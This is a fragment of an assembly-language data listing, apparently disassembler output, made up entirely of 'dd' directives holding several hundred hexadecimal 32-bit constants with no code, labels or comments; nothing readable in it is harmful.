		dd 606B2D58h, 1D31B900h, 1236CA1Ah, 0F509E8CBh,	927F6E6h
		dd 79F09E78h, 70B86880h, 0C7D3BF7Ch, 0C82F8CAAh, 0AFBC71E7h
		dd 7425B4FEh, 2A8271DBh, 1AB74185h, 2E3BB007h, 57E7C710h
		dd 1031978h, 2F60DCFBh,	39076450h, 7A82EF0Fh, 7E144299h
		dd 50809490h, 0A7ED2DC0h, 987F9347h, 28634CF6h,	0F435DF82h
		dd 7FCF77E1h, 0D3581F0Bh, 4E94AFEFh, 4F4CE916h,	58B7F388h
		dd 7620D982h, 0DC904490h, 105B6834h, 77A415C0h,	5A542861h
		dd 2D050BEAh, 22FE3C8Fh, 56030630h, 5B1501BEh, 0B0E9766Eh
		dd 0FFCD2EBAh, 9079ED3Bh, 46970590h, 1D807535h,	0DB33CCBh
		dd 224EE932h, 25704AACh, 4A1E50E7h, 0B26CAE50h,	0D0D9B75Ch
		dd 5E951C0h, 9296CEB9h,	0EF2941C4h, 592F688Bh, 7671075h
		dd 24C726Ch, 759BE181h,	0C67E5735h, 9E034802h, 0D8614332h
		dd 40657A31h, 375A5129h, 4FF0B0F4h, 0C9FCCCD7h,	458C024Bh
		dd 5F4A40BCh, 776B64BDh, 2B59B754h, 538818FAh, 8C680555h
		dd 0D03A5103h, 64797262h, 1CB1595Fh, 854D03Eh, 0E11332A7h
		dd 0C6F043E9h, 0F64102B2h, 0E0CA80DAh, 0BCB94357h, 7F68F890h
		dd 0D6199715h, 1B17CF6Ch, 2DE878B8h, 77761C1h, 0F2A02E5Dh
		dd 762E145Ch, 1C01C750h, 89EC69F4h, 27CB2FF7h, 0FE5FFB18h
		dd 31814C3h, 0E5C04E72h, 7E8A2662h, 0A291D99h, 28B39DDh
		dd 77EE0F4Fh, 24D5D07Dh, 933BCE74h, 2127EF29h, 0F9CD2BC2h
		dd 0C48C8967h, 0B8CA4F33h, 69EE3178h, 0A7C8FE3Ch, 778AE2BBh
		dd 52456DD9h, 0C2BDF2BFh, 0EC2B1F68h, 1BD42FA9h, 0C6929E71h
		dd 0E2A605ABh, 35D8EE10h, 5230E163h, 30D427B7h,	0EB445C56h
		dd 0D243B8AFh, 15C02BC4h, 4E2D0141h, 9AAF1B35h,	0EB6187C5h
		dd 12CAC55Dh, 0E8ECF131h, 70121260h, 0F2BA5E1Eh, 74C3896Ah
		dd 0FA74257Fh, 0F3CEF173h, 0C267B62Eh, 4C74E068h, 43362772h
		dd 0C1E47572h, 835908C9h, 0AD7E9524h, 5D962B81h, 30DEB400h
		dd 0F726EC79h, 1BFD5F6h, 5A2BBA51h, 13AD14Ah, 1538C8FBh
		dd 653B3044h, 83DEB902h, 0A339E9h, 186E355Fh, 8129F53Ah
		dd 797A66B6h, 306F3A68h, 0EFE95E32h, 1328A62h, 7D5042EEh
		dd 2AB986D8h, 683640A7h, 0A80A4B2Bh, 0EA01B1FDh, 0D87A1849h
		dd 0C341CADAh, 0A5CBB682h, 2FD21D9h, 5C07BA98h,	1D056921h
		dd 0B7E3AE9Ch, 965AB84Ah, 58AC21C5h, 0DD58F1A2h, 2F54512Ch
		dd 0ABB25316h, 447165Bh, 1B6AFD6Ch, 0C0D28AB6h,	2D58C5D3h
		dd 62F4DDF7h, 0BB01472Bh, 30A75C7Fh, 6198C13Ah,	593E92D9h
		dd 171841AEh, 2F72947Dh, 0B9A4EFC1h, 0EF9BF00h,	0C961D324h
		dd 38130413h, 64B30D41h, 827E2645h, 667C5C50h, 5700B224h
		dd 0D665E868h, 127F971Bh, 91EC532h, 612954E9h, 6115C5D5h
		dd 6A64FFE9h, 0CE6B80B3h, 253B6C75h, 1BE47393h,	0A5577605h
		dd 9D575E35h, 0C094CABEh, 517033BFh, 944A9814h,	0A9688471h
		dd 1231AF6Eh, 88432AE3h, 7C6CBAE9h, 480588A6h, 83CB8100h
		dd 0C815B60Ah, 0D3A5D122h, 85DA788h, 190290FFh,	0D56D1C56h
		dd 2DCE6D08h, 6718835Ah, 0F3C2887Eh, 9DFE0463h,	0AF97E95Fh
		dd 0CAFE9317h, 73455E7Ch, 5CEB527Eh, 0BBA956E0h, 711BC98Eh
		dd 13D8B9DBh, 1A4EC56Bh, 4E80DBC4h, 2777C2CFh, 0AEF62925h
		dd 0A284CACh, 89BFE912h, 7E84C8F2h, 0D4051326h,	0EC206540h
		dd 0BFF124C5h, 0DE951950h, 4148F2D3h, 0C1BF5729h, 228155C7h
		dd 69145ABAh, 22412E62h, 1FDF20F5h, 19CD0C85h, 0E2D3C071h
		dd 0C63027A9h, 4F209A52h, 24486370h, 2D8A2C36h,	972D255h
		dd 0FE4E2596h, 60F389D5h, 5B93780Dh, 0C316E07Bh, 0CE5508A2h
		dd 8FEB0EF2h, 13331A51h, 0CAB7AB58h, 0AA4EDF58h, 0E67ACDDDh
		dd 0A8E9829Bh, 0D0E47F13h, 0E25C8079h, 0CF220F1h, 6944685Dh
		dd 4941AA2Dh, 2FA5DD2Bh, 5E2AF4E9h, 0CBF9BDFAh,	59B8DDC5h
		dd 267C5E25h, 5D0D48F3h, 0BA7182A4h, 0E7098005h, 87EAFD86h
		dd 0FE04D662h, 0A126D449h, 5B2640F4h, 0C5E0946h, 1BE91720h
		dd 5826C9D2h, 0EB968B7Ch, 0BA2ABFE1h, 9795A228h, 0E599B48Bh
		dd 0BD6C9254h, 1F5EA590h, 0AA624EABh, 35554E1Fh, 3AE04AC0h
		dd 0EC3F4BD9h, 4255E2F5h, 14897E36h, 0ED2DC248h, 2765B6D7h
		dd 24D9EA83h, 95B27AC9h, 7DB009FFh, 0DE275B4Dh,	53DAE278h
		dd 99A2522h, 7EAD1779h,	6DEA0FD3h, 2681AC52h, 0A045425Fh
		dd 0BD257AB8h, 54098AF5h, 4521DE27h, 8A0BEBD2h,	0C655551h
		dd 0C17F54C9h, 6E385768h, 5CA4D537h, 0E952D858h, 61EDE04Ah
		dd 0B5008158h, 5BFD3042h, 6B90EDC0h, 689E533h, 0BB95B749h
		dd 6BE4A0EAh, 0C6ED4C64h, 2A49B1ABh, 0A86A2469h, 0F9EAF471h
		dd 0CD5B2BBFh, 3EAE1C3Eh, 39BB5E38h, 5B412865h,	0E90B68F7h
		dd 48778207h, 0C12E43BCh, 0C903802Fh, 11B6A9Dh,	0BE2625C6h
		dd 250922F1h, 559CDF02h, 555B9EFCh, 9DC7BE8h, 0D782832Ah
		dd 695B077Dh, 202A72A5h, 68172142h, 63601250h, 5CE72351h
		dd 3A66056Ah, 0D6B703FFh, 0B0F501CDh, 0E49518DCh, 0EB1587DDh
		dd 4D6CBE9h, 8650EDB4h,	0F60126C0h, 5806A1D7h, 580DCDCh
		dd 0BA68F9E4h, 3287E34Ch, 5D0169E1h, 0F68E4B68h, 7D3BEB2Fh
		dd 0D0F04C02h, 74766801h, 7E9E9D2Eh, 0E9873BADh, 32B94CC5h
		dd 3D4E77B8h, 813BCF89h, 0D33C1AE4h, 0B1F00C5Eh, 981B98DBh
		dd 0DA2BC0DAh, 5AD5315Bh, 5954D48h, 667F5CF5h, 8720FEE1h
		dd 383E1799h, 81E1B867h, 13884A7Bh, 0CA580C82h,	56E93254h
		dd 64157E4Fh, 0D6AE5984h, 34E9E920h, 0BCF8B963h, 10E4A119h
		dd 0C6B4515Fh, 0E9417B94h, 25B938A2h, 735E0C80h, 2DE91051h
		dd 1337860h, 4B2F68FAh,	0C25ACD2Eh, 80E3AC10h, 0B8005053h
		dd 36807CBCh, 422CB35h,	56E90678h, 698AA6Eh, 3F0E62CEh
		dd 985F7907h, 3E3A95B0h, 74A54DADh, 78D3ECC3h, 6EBBF3B9h
		dd 75108AF2h, 0B6520924h, 8D09F536h, 172EF055h,	0C8EDE935h
		dd 0B137312h, 32ED086Ch, 0BA540841h, 0D691FDBEh, 50ED3FA0h
		dd 19A821C1h, 3E016208h, 0C4B9E3F3h, 0AF2A09h, 685146BFh
		dd 40042353h, 0AB45E901h, 0EC67DDBBh, 0E595D888h, 0D85C96E7h
		dd 3970019Dh, 56825E95h, 544FC898h, 5960C0E4h, 0B7FCCF9h
		dd 4EE368EEh, 54C2449h,	0E62200EBh, 89590F37h, 55BDD00h
		dd 6258636Eh, 2DE82829h, 9D08B207h, 7D42BAF3h, 8D02C6Eh
		dd 4BF25E48h, 0EC7E64F5h, 0E11488B2h, 245D31E9h, 5E02F08Eh
		dd 1525322Dh, 44E2DF23h, 28EA070Fh, 5A5DC1D2h, 3AF989FFh
		dd 131D59B9h, 0E09D555Bh, 5EEB2D80h, 56C209BEh,	5D3D73E9h
		dd 26A93D4Eh, 501D74B6h, 0AAB44Ch, 0EA8058E2h, 38D388EBh
		dd 20DA7CE9h, 20478F69h, 0FA1CDD97h, 0D53CFD95h, 41396802h
		dd 0D55F3D9Ah, 9BAD08h,	79C86484h, 0FAB05649h, 10D2534Eh
		dd 2DCC75E2h, 6D544330h, 3063B6F5h, 860C6815h, 4709483Eh
		dd 0DEF328E9h, 2D00CA57h, 2F563B19h, 0D1B347FBh, 927975E6h
		dd 94E04528h, 5981C7A0h
		dd 279C1363h, 5A5DA8C2h, 499A2011h, 31C4AD4Eh, 0EE2A6FE1h
		dd 5E775B6Ch, 3C27BEFCh, 0AF4B82B9h, 0CB9AD559h, 5E16788Ch
		dd 70CD53C0h, 0C136513Ch, 6756600Ch, 57D12017h,	0B2734E19h
		dd 44803C8Eh, 0B853CEB9h, 0FF4E5143h, 41E0B3B8h, 474A16E9h
		dd 17FA3BE4h, 0B634664h, 0B1FFC262h, 0C43F9C7Ch, 8DDDAB48h
		dd 91E9F510h, 42FB91BAh, 0DA54A168h, 0BF37E961h, 3F6226A7h
		dd 0E4F710DDh, 5054881Ah, 1348BB80h, 80057109h,	64EF38Dh
		dd 5D29C325h, 73E3B780h, 337FEE52h, 0FB09DAF8h,	0D48914BAh
		dd 0C9EB0339h, 1C93426h, 822A0CBh, 0EB135960h, 4E7D4C0Ch
		dd 208E9945h, 802BBE3h,	7BE96490h, 4537276h, 4E7D3653h
		dd 2CF3EA5Ah, 39AE5F72h, 0E95B8506h, 84303D2Ah,	728DB8h
		dd 1205609Dh, 4066C546h, 3D50D00h, 0D0F72D1Eh, 64DB1F35h
		dd 48FDE5FDh, 2DE90732h, 0C527DE69h, 5A2D31D0h,	0E505DD27h
		dd 0F453D94Fh, 0BCC5E0BBh, 9AE472C8h, 166D1E08h, 8711D742h
		dd 34F2A094h, 0FEA06535h, 2D2C0BEEh, 8E3E8338h,	0C9675A51h
		dd 0C29A02E2h, 0D06E4032h, 0A782B14Eh, 5E62525Ch, 3E20F540h
		dd 116C6598h, 0E90A2942h, 40A33AA3h, 676C020Dh,	6665F1F6h
		dd 2CEE5C16h, 554C7B65h, 0C1A4D91Dh, 243D8270h,	81B1C283h
		dd 0BD7577Dh, 0C70E8142h, 89DB408Ah, 0A7BC65EAh, 8330FFF0h
		dd 38753DEAh, 0F0104AD9h, 194049B2h, 68941204h,	4953EEAEh
		dd 3B6DA1BEh, 2848E3DBh, 0BF057A20h, 85B92FCh, 0FAEB24FAh
		dd 641060B7h, 0FDBD00E6h, 8132C176h, 6C4209EFh,	0A8FD495Ah
		dd 5D04083Dh, 57ED1CE9h, 47A4FB3Bh, 53F6ADC6h, 7F0D3156h
		dd 7E5BD8FFh, 5ACA0h, 7E5951B1h, 8E118D25h, 3DE26E58h
		dd 4EF5161Dh, 812700BBh, 897B9FE9h, 0C82D3203h,	0D1096F0Dh
		dd 0DB7B50C9h, 4A1E58CBh, 386E51A1h, 0AD4EE950h, 0F2BBA10Ah
		dd 0BD1ACB00h, 4E01C9C7h, 138BBF34h, 2945977Dh,	0B1F4002Fh
		dd 881DBE39h, 0DB040768h, 2A94E93Fh, 108D8FBEh,	0E14F3F25h
		dd 20DDCEA6h, 61388314h, 13017667h, 0F84ACC68h,	260FD0C9h
		dd 0F62C3129h, 0B7D1A84h, 0A273C1EBh, 7C77C282h, 4EB57468h
		dd 860B9B4h, 880BDC46h,	2134F4F9h, 0C3C96F8Ah, 7828B010h
		dd 0F6921F9Eh, 0CB8B4DF8h, 5F95C1F0h, 5718A21Dh, 2675628Ch
		dd 27394C50h, 0C380DA60h, 406326Bh, 8AB0CF1Bh, 0E1C64C29h
		dd 2726431Ch, 12C616FDh, 52DD55E9h, 0D829B060h,	169B2D02h
		dd 408B399Ah, 80FD5E97h, 3F09055Ch, 82451C6Ch, 7F1B6871h
		dd 2DE98D98h, 4CD75B59h, 14040483h, 36001DD0h, 0E96C5111h
		dd 0AB87AE27h, 0BD28FCB6h, 1920BFAFh, 0B330FEF2h, 6639F48h
		dd 139D3D3Ch, 3D8040Ch,	0BE016F36h, 8E610h, 6095BE56h
		dd 2DE927C9h, 21E64D5Ch, 5980EDE0h, 96789509h, 7FF8B841h
		dd 0B5511C66h, 0BFE816EFh, 8F68FF60h, 526EA92Ch, 2B5DAA3Ah
		dd 24B8464h, 49E7B4Ah, 6C43AA5Eh, 9259014Fh, 9871F5F0h
		dd 125A77E9h, 0FB372132h, 0B92D5DEEh, 0D2DD2D8Bh, 0FC3B22E0h
		dd 0D6DCA159h, 0A9CC79ADh, 82F55Fh, 283AD545h, 15DE9477h
		dd 0FFE0E7E9h, 3092DD3Bh, 5C6E4774h, 0A35BA787h, 232E36D1h
		dd 6F05F9FEh, 3A822E37h, 279E56D3h, 54B7CD16h, 8112FBDBh
		dd 33E934FAh, 25A11909h, 2AB7CA80h, 810F1658h, 911B3EAh
		dd 431C84F0h, 6300D1BDh, 56DAAF28h, 0F7E4CE89h,	382EE916h
		dd 0AD2F9DB3h, 51970650h, 0E953D044h, 1863F732h, 553755Dh
		dd 8447E25h, 5F12EA83h,	0A3EEB513h, 0A068876Bh,	4079C929h
		dd 1E6D4F64h, 93024F71h, 6F28F1FBh, 97ADD479h, 227750E2h
		dd 5F9CF1FDh, 0FFEF7C6h, 0DAEC434Bh, 0A36CBFC6h, 68EA0106h
		dd 258B19FEh, 0FF79BCF7h, 425E4AA5h, 31C6DD21h,	93C069EEh
		dd 0D3334DEBh, 0AE314DCBh, 0AEAC6813h, 4C2FCBF3h, 0BE9B643h
		dd 30697A44h, 68BB8C7Ah, 0C511A52Fh, 82E98595h,	30E3FEC3h
		dd 0E4CFEC92h, 0B27BECEEh, 7EBCA96Bh, 2FF15375h, 75402B8Fh
		dd 0BC876AC5h, 50CAF916h, 0ADAD502Ah, 0E3035BABh, 2325791Ch
		dd 0CFD6F466h, 65F05649h, 0F612B601h, 1EE80DEh,	0B56CC6CCh
		dd 7F14ABE0h, 3193C788h, 6938F31Fh, 0EE17923Ah,	5A148EB9h
		dd 0D5842E51h, 7F8DBAB0h, 288ABD6Ah, 484BF5D0h,	501670A2h
		dd 662D0954h, 7ABFC4F8h, 350302D7h, 0A5B43B7Dh,	0BC650AC2h
		dd 5EF10984h, 7682E6BAh, 9B1A0AF6h, 0F55696EFh,	68136146h
		dd 903217CDh, 2E096151h, 9B3F2425h, 0E0E912A3h,	4B5F5844h
		dd 9FAA0C2h, 0FF7D58Bh,	620C4BFAh, 4BF7EBh, 0BCA986CAh
		dd 38F07600h, 0D0B503EEh, 0FA584AE0h, 0FD2BCF39h, 346F1AB4h
		dd 17527764h, 2346540Eh, 0F543DE20h, 0D91F6137h, 7634DABDh
		dd 0EB054ED8h, 0DB5B140Bh, 3EE642AFh, 0F8F88802h, 609009h
		dd 0E3715D6h, 517DCA81h, 6D1F6A2Ch, 0B835F803h,	0BF0C094Fh
		dd 5A57E017h, 37EA052Dh, 111722Dh, 83363B9Dh, 7D173EACh
		dd 0EA62C4CEh, 587FC688h, 0C1C5581Dh, 3DF13D27h, 6116D6E9h
		dd 6FBA6EE9h, 0C71D79B9h, 774349CAh, 14C52B04h,	128948E0h
		dd 0B7EFCFBDh, 0C1EE4AB2h, 0DA720CCEh, 7168A9D7h, 61B0B2Fh
		dd 8886B5D4h, 0F8402C4Ah, 890312C7h, 0DE2F017Ah, 2B6F7967h
		dd 60136FC0h, 0E949097Fh, 64FDEC3Ah, 1F5498F4h,	8C221F09h
		dd 801C358Bh, 6A3F130h,	987F049Fh, 1B6C626Fh, 47DB8C7h
		dd 4B82D744h, 194C5D05h, 444C2F27h, 3EFEC07Eh, 68F4CCFBh
		dd 8C9C60FAh, 35A8C164h, 5621B802h, 0AA482001h,	0AF0B2D48h
		dd 435B39Dh, 0A51E1E64h, 0E1258FF7h, 4A7C4604h,	7002725h
		dd 0B567C5E9h, 936FB144h, 331C853Bh, 4D882D88h,	312FF929h
		dd 0F56B71F9h, 0CCB98387h, 5829C24Bh, 42401529h, 4DE95651h
		dd 0FE14B89Fh, 9C2596CCh, 0D663535Eh, 581025B5h, 0F858E4FFh
		dd 3B44B535h, 67C3184Bh, 16C3A3D8h, 6565308h, 97361D4Ah
		dd 92ACC15Eh, 0D0186525h, 7C003AAFh, 23BF573Eh,	0BD267E4Dh
		dd 0DE0946DAh, 8747424Ah, 0FF0B56AEh, 11ED6B94h, 5300328Ch
		dd 38137E68h, 0BDEC3E8Dh, 1468907h, 0E4F3673Bh,	0A717C74Dh
		dd 73BAF0DEh, 0EF900832h, 5CD42E25h, 0C1353AAh,	0F552FCB8h
		dd 0E840B5FFh, 0B7013F4Dh, 10D00D16h, 7CFC676Eh, 6BEFB481h
		dd 75F3AF5Eh, 286C0065h, 0ADB551C8h, 994CE2E9h,	80068947h
		dd 9062A841h, 0A3FCED32h, 524C2D48h, 0FEDA05FFh, 126F8BBBh
		dd 10CD4326h, 93DEEE62h, 0EF802321h, 4FE12ECh, 40D198Eh
		dd 0E8EF3768h, 7B7DC395h, 0BD3D69Fh, 7519576Eh,	682465Dh
		dd 0E5C159CDh, 0D7900605h, 991A4F24h, 8373B063h, 0BC5CE1C6h
		dd 55999C2Fh, 0A85B21F8h, 0CB68A6D0h, 61CEBE3Fh, 0DA055199h
		dd 727C0009h, 0D33AFC6Eh, 1105056Eh, 15DBEA6Dh,	7D9D6809h
		dd 404F4B66h, 9F31A7C8h, 0FDCA4D12h, 1A28275h, 18C5DDEEh
		dd 0BF9ADBEh, 359477DBh, 4F8A9733h, 0C0B9BFF8h,	90AAB76Bh
		dd 349D42E6h, 91C1F147h, 1F046D95h, 4E1C06F5h, 0A0090C3Bh
		dd 0AB1A5D44h, 2C3E0449h, 7443A3ECh, 0F894EE96h, 325718C0h
		dd 0FD455AD6h, 0B314C5Dh, 835282FBh, 3B36F66Bh,	1793E0ABh
		dd 140DE3B6h, 0A4A9A63Bh, 255AD30Bh, 3387F56Dh,	0C982E844h
		dd 0D165F72Ch, 70D5B68Bh, 0D22F9C7Bh, 0E2C64161h, 5252F45Fh
		dd 29B6EC60h, 7FE0DB5Ah, 4073275Dh, 0A002A6DEh,	0F6C015C8h
		dd 23EE30A0h, 50C0177h,	401F67E9h, 50EA1680h, 30970328h
		dd 9F259E8h, 0FE05A1A4h
		dd 0EA3AE0A1h, 30BBD575h, 35DE687Bh, 0B70696B7h, 0E912D764h
		dd 0F7BB496Dh, 0E1295AFBh, 33E9CD48h, 0FE131A37h, 4103F2BBh
		dd 0EB80C328h, 31E3D1DEh, 23C7862h, 10346979h, 0EB0ED9D7h
		dd 8289EE5Dh, 408654E4h, 1C906878h, 495BEAB8h, 1E779080h
		dd 0E95A16D8h, 5F44EE4Eh, 0AE58088Bh, 53955B5Eh, 844EB036h
		dd 9AC49168h, 6BAC37BEh, 0BF2FC2C5h, 38102DE7h,	0E1D114D2h
		dd 13573E02h, 0B5ED8555h, 0ACBA68C5h, 169D4A4Bh, 1A39B480h
		dd 0A2E97C34h, 9051540h, 2F8D2A48h, 2918BBF4h, 2511BF93h
		dd 425E773Ah, 0B0396603h, 3382FD70h, 5B0886C7h,	4AD638D0h
		dd 9EE90D85h, 0F098BA83h, 310DE5F9h, 0F8FC2E59h, 0C27CD04Bh
		dd 0F3255233h, 9AE2F707h, 0AD54080Bh, 51B2D0C2h, 0A3B60FDEh
		dd 0EF804B44h, 0A0225B32h, 73BCB9A0h, 1F724A70h, 8C795FC3h
		dd 0E111522Bh, 3506D809h, 649B003Dh, 0A179700Bh, 0BF03ACC0h
		dd 37D760F8h, 0E1A62968h, 7190F42Fh, 94022F5Bh,	0F95A5452h
		dd 0CFFDEB86h, 0A579A574h, 722BE902h, 0C48A60B1h, 0ED99527h
		dd 0DE6F57C9h, 7B738E0Dh, 8C876661h, 5B4B698Fh,	7897CCE0h
		dd 0E364DD82h, 1E96ECF4h, 2E7E973Fh, 5206C5ADh,	4E6CE468h
		dd 6432F7B0h, 0D0291C42h, 0C9777809h, 65DF5D1Ch, 78200994h
		dd 0A80B6A5Ah, 750DD27Bh, 120803A8h, 0AD73B45Dh, 8019C4B2h
		dd 540647C7h, 679A17Ch,	0B6E93ECDh, 0DE97D967h,	19510BDDh
		dd 0F9E3479h, 0BE747A40h, 0B85AEF5h, 0CC7BE98Bh, 81604556h
		dd 2F5A2AEBh, 35053C71h, 19D52AFh, 90EE389h, 1DC0FA3Fh
		dd 0FEBFE7E6h, 1A27539Bh, 0F20DA475h, 55BB61AFh, 0E30A04B9h
		dd 0FCA5A77Fh, 9FF8C380h, 0F41F3F5Eh, 9A37C3DEh, 1FE40ED7h
		dd 0B11265BDh, 94AB67B2h, 0ED81E4BDh, 7E359600h, 0A3B8503Ch
		dd 17E72D55h, 5940677h,	7A5EBDA3h, 0C732636Bh, 0C0B985Fh
		dd 42D39772h, 3113F28Dh, 3316DE01h, 5E09D5D6h, 0BD508270h
		dd 8648ED0Fh, 34E1109Fh, 7C6B6802h, 5F5A579Ch, 52758422h
		dd 0C61BCC3h, 823E0582h, 41344919h, 0D146F761h,	454AE979h
		dd 7729EF21h, 0C26F3E25h, 0C4F70FC9h, 3B4A8Eh, 10D4BBF2h
		dd 0C1F45604h, 0C2794A64h, 2ECFF1ABh, 5A7F0FFCh, 0F869849Ah
		dd 0B5B2977Bh, 0AAF5D281h, 2B043174h, 84D730A2h, 6F4AA037h
		dd 500A6827h, 0CC475FC2h, 0FE9D0948h, 7CE9C1D6h, 24722BECh
		dd 0BE1B6C51h, 6AE02DF1h, 0C6975443h, 61595B50h, 0E75EF154h
		dd 4A333E00h, 0D14B57ABh, 3F2890E3h, 0AF089460h, 4C09DE89h
		dd 0A036FF07h, 0E909EF42h, 7D153DEh, 66140983h,	4B6A0535h
		dd 8239E737h, 67796B81h, 3B3A792h, 4458E90Ch, 950BB8ECh
		dd 55C530h, 4A205D2Bh, 0C7292019h, 0FC580881h, 3F009FF7h
		dd 0FD097DB4h, 591D685Fh, 6A806C5Dh, 9171338h, 0C90B90BDh
		dd 468C03Ch, 0B2B3539Ah, 85F38017h, 0C6810D0Eh,	120C97C3h
		dd 84E5E961h, 1E16EBD7h, 790930Eh, 3EE50604h, 0BF5A81B8h
		dd 0E9EED777h, 0A4F2579Bh, 9EC94CBDh, 0B228162Bh, 2AF4B2Ah
		dd 2CB4E98Bh, 7C24D7C5h, 0D2FBDC44h, 9AD5CC53h,	53C6D5D3h
		dd 35E5D72Ch, 80CDB281h, 76FD2E2h, 8353F205h, 0C056DCAh
		dd 387D68A2h, 7DB52CCCh, 5EE539B6h, 8E26C59Dh, 0EA017EF5h
		dd 59407AE9h, 145204Bh,	0EEF3CCF3h, 70B06724h, 47B58620h
		dd 4B3D0B08h, 7A27BE79h, 2A2E09DEh, 0DB062D8Ch,	31B02D0Ch
		dd 73B08930h, 257031F1h, 0DDC95005h, 74CE6059h,	40F60218h
		dd 2F706D22h, 1BF0413Ch, 6B44B22Ch, 28D1866Ch, 30A25E72h
		dd 0F25936FFh, 222549E0h, 0B543613Fh, 251BBC2Eh, 6A9EFBE7h
		dd 0F8F344CDh, 0C7BF4A4Eh, 0C92AD517h, 0C5703A3Dh, 0E7644D32h
		dd 80D4F26Eh, 0FF35A9CAh, 0B6A8C153h, 8419AD3Eh, 0F723CD0Ch
		dd 0F4383483h, 5A09B3AAh, 47F28FD0h, 0E91A0955h, 7E5C4093h
		dd 64810264h, 402128F6h, 30000747h, 7FC05AD5h, 0C2D073EDh
		dd 0C280BD16h, 1C13CC43h, 0D80D4E9h, 2F25BFBBh,	0B4D83DDDh
		dd 2B1BE5A0h, 0C270282Dh, 5DF0003h, 6EFD1A8Bh, 0D3E02421h
		dd 2D76822Eh, 3CCE7809h, 0B01FC3Dh, 6A51568Dh, 0C5F250C7h
		dd 85B900AAh, 257A577Ah, 0F102995Fh, 91397568h,	0A13AFB6Dh
		dd 0FCE9C889h, 0F0266169h, 45292F71h, 43FD5752h, 6259D80h
		dd 0BBFC2EB0h, 0E9173806h, 0FD5EC893h, 0A4EE3C9Bh, 0F340742Ah
		dd 1F3B7784h, 56CB299Dh, 5EF04BB3h, 4F7874D8h, 98036240h
		dd 58AE3944h, 0D2E912F9h, 0FC04564Dh, 734912D5h, 6A0CF420h
		dd 0F2D8F7BAh, 0F4151422h, 0D900F637h, 317233DFh, 9874E9D7h
		dd 0A34A8EA4h, 0A66A6CA1h, 925955Eh, 57EDC145h,	17EECD84h
		dd 0E68840FBh, 4A14D827h, 5E97B9B0h, 0A257448Dh, 4F5F8031h
		dd 4AE9FA87h, 0A2D31278h, 0E491E595h, 0DB50AE15h, 4FC24E1Fh
		dd 8649A81Bh, 0E71DD9F1h, 0FE3B9D25h, 8336F669h, 0BB4B1A5Dh
		dd 0F35E698Eh, 0F0D108Bh, 0AEE5542Dh, 10C21BA1h, 0EB680738h
		dd 13BC1859h, 0D7CC4A5Eh, 0EF1C1248h, 8A3FA263h, 8717D857h
		dd 0D4620DE1h, 72A0E302h, 0A28368C5h, 48E8CD4Dh, 49BDE29h
		dd 32DFC681h, 1C7A10EDh, 0B30505Dh, 3A0AEB68h, 0D83642C4h
		dd 0D8534E81h, 85414D3Bh, 565AB03Ah, 28CA735Ah,	6AEB207Ch
		dd 77E92DB4h, 0E5978464h, 5D5202B5h, 7DF632E9h,	0D7F74F07h
		dd 0CF814730h, 0B151160Ah, 17B5E86Eh, 0DAFDB8E9h, 286984h
		dd 3506E0C1h, 0E58C0512h, 0C2C7899Fh, 950081DFh, 0B14CF168h
		dd 8D50926Dh, 8BE96E98h, 0AF22D1A5h, 62AE2BB5h,	0A389532Ch
		dd 0E92473F0h, 98EAF34h, 0F374E4FBh, 6880EDA8h,	0B6F6788h
		dd 2B0E72B6h, 55734935h, 6071C7C6h, 0CA5BF695h,	5ACA028Bh
		dd 587F7254h, 1CE5B99h,	968A056Bh, 0BD55E449h, 7516790Bh
		dd 9A3F541Dh, 0B096AC3h, 10893AE5h, 7BAE5650h, 927F39CAh
		dd 0D9E909B0h, 40336FD3h, 5F88B98Dh, 0D0BF533Fh, 6247FAA0h
		dd 7AB35C97h, 28588E60h, 0EB9CF09Dh, 6F948DBh, 0C19ADA2Dh
		dd 0B5BBEFDFh, 0C004AF29h, 71FB2E65h, 7B5B3760h, 4FA656BDh
		dd 24F928C8h, 7123027Fh, 0F2C309CAh, 881EFC2h, 33755D68h
		dd 5CE9166Bh, 0C95E284Eh, 0D53763CFh, 0EAFF9CAFh, 0E8246AB6h
		dd 96510803h, 0DC6ADA64h, 71023D5Bh, 4F759125h,	5204F360h
		dd 0BB79EDFFh, 40ED0491h, 0F1BF3BE3h, 82080573h, 0CCC0D718h
		dd 76B8E93Fh, 0E5AB32D3h, 0A2B46E75h, 542217A9h, 0AB02006Fh
		dd 0E9565976h, 63647B30h, 5A3094F6h, 2C801BDh, 0BCE01B20h
		dd 0C921FC7Ah, 4B082003h, 0F42EF5Eh, 0C8DD4BE9h, 1E6B0FABh
		dd 0E53165ADh, 0B0D996FFh, 22433EB0h, 5E1BEE03h, 0C011882h
		dd 27834151h, 86A0CE01h, 140CD008h, 5E0D3840h, 0A791F84Dh
		dd 9519DEC6h, 344B825Fh, 9BB800C0h, 7F04C264h, 4974A00Dh
		dd 6B699A81h, 3641B787h, 0F680FB8Eh, 6FF1213Ah,	0BA2CE913h
		dd 1FEE8C45h, 912739E3h, 579D50D0h, 0D3EEB69Ch,	4265C095h
		dd 505B7E1Ch, 31290603h, 53805D2Bh, 0D446AF41h,	2EEBF998h
		dd 90B291E8h, 29C2387Ch, 962A792Ch, 0DEC5EB35h,	7E144F04h
		dd 43005309h, 40135009h, 2B0228B8h, 0E945377Ch,	0A8ADD05h
		dd 2FC86ABEh, 96ADF479h, 509E090Dh, 0E15DF488h,	4101F988h
		dd 0AD66012Eh, 0DDFA62CAh, 5608C6E7h, 77E4C0BEh, 0EABF5411h
		dd 5E0802CCh, 907651h, 74373A8Fh, 82DE1C1h, 3A12049h, 0D224A43Eh
		dd 25380918h, 0B0FFFA62h, 9D40D44Fh, 515B611Ch,	0A6E9FA60h
		dd 6EE6B161h
		dd 75894E4Fh, 25F3F875h, 0E77FC070h, 4DDF25FDh,	0B5924A5h
		dd 5E44AE91h, 42755F58h, 5034801Ah, 2D3C49h, 489D3DB3h
		dd 3E8FB235h, 4C3E0F49h, 18143E0Bh, 98D65C10h, 555A2750h
		dd 8CF88DDh, 14161C34h,	652849AEh, 0DC04EB60h, 0EF6E6EFh
		dd 26109AC8h, 0CFD9B81Fh, 0C4453791h, 8671BBEAh, 0B9F55551h
		dd 3112C068h, 10CA08F0h, 647F2D01h, 40D46B6Ch, 0F46FEE79h
		dd 3E730531h, 0BC52E920h, 0F1872753h, 6CE54FE1h, 6BF9EFh
		dd 37111B25h, 128DED81h, 0EA6A2E1Ch, 906421Bh, 0EAA5E417h
		dd 7B4B3880h, 176677Ah,	8826198h, 3D1331C0h, 20C0B981h
		dd 0FC615060h, 0D0B2B759h, 512D5E5Fh, 68F33EB2h, 0E84E5431h
		dd 241E0572h, 9468208Ah, 53C09217h, 599CE81h, 0C17E0950h
